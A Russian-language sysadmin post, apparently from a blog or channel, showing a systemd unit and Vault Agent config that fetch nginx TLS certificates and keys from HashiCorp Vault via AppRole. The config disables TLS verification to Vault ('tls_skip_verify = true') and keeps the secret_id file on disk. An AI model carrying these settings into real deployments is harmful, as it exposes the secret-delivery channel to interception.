Для этого можно использовать vault agent, он умеет ходить в волт под approle и забирать оттуда данные секретов, согласно политики и сохранять их в файлы.

vault agent это часть бинаря vault. Создадим systemd сервис:
# /etc/systemd/system/vault_agent.service
[Unit]
Description=HashiCorp Vault Agent
After=network.target
Requires=network.target

[Service]
WorkingDirectory=/opt/vault_agent
ExecStart=/usr/bin/vault agent -config=/opt/vault_agent/agent_config.hcl
Restart=on-failure
RestartSec=5
User=vault
Group=vault
Environment=VAULT_ADDR=https://<vault_domain>
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target


В рабочей директории /opt/vault_agent положим конфиг агента agent_config.hcl:
pid_file = "./pidfile"

vault {
address = "https://<vault_domain>"
tls_skip_verify = true
renew_token = true
}

auto_auth {
method "approle" {
mount_path = "auth/approle"
config = {
role_id_file_path = "/opt/vault_agent/.role_id"
secret_id_file_path = "/opt/vault_agent/.secret_id"
remove_secret_id_file_after_reading = false
}
}
sink "file" {
config = {
path = "/opt/vault_agent/.vault_token"
}
}
}

template {
source = "/opt/vault_agent/templates/<domain>.crt.tmpl"
destination = "/etc/nginx/ssl/<domain>.crt"
command = "nginx -s reload"
}
template {
source = "/opt/vault_agent/templates/<domain>.key.tmpl"
destination = "/etc/nginx/ssl/<domain>.key"
command = "nginx -s reload"
}


Тут мы авторизовываемся в волт под нашей approle, используя ее role_id и secret_id. Их нужно указать в виде путей до файлов.
remove_secret_id_file_after_reading - параметр отвечающий за то, удалять ли файл secret_id после прочтения. По умолчанию - true, т.е. файл будет удален. На практике не совсем удобно, так как в случае перезагрузки агента, новый файл на место старого никто не положит. Следовательно нужен post-script, который бы это сделал. Мы развертываем ansible-ом и для нас это не удобно.

sink - то, куда агент положит полученный из волта токен.
template - секция с описанием настроек шаблонов. В source указываем путь до самого шаблона, например:
{{- with secret "mount/secret" -}}
{{ .Data.data.crt }}
{{- end -}}

Пути в шаблоне для kv2.
destination - то, куда волт сохранит полученное значение из секрета.
command - команда, которая будет выполнена, если секрет изменился.

Из важного, агент отправляет много запросов в волт, не делайте токенам слишком маленький TTL или token_num_uses, это приведет к 403 ошибкам в логах, хотя парочка запросов все же успеют "пролезть" и секрет вы получите.

#vault
  • 🔥 1
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →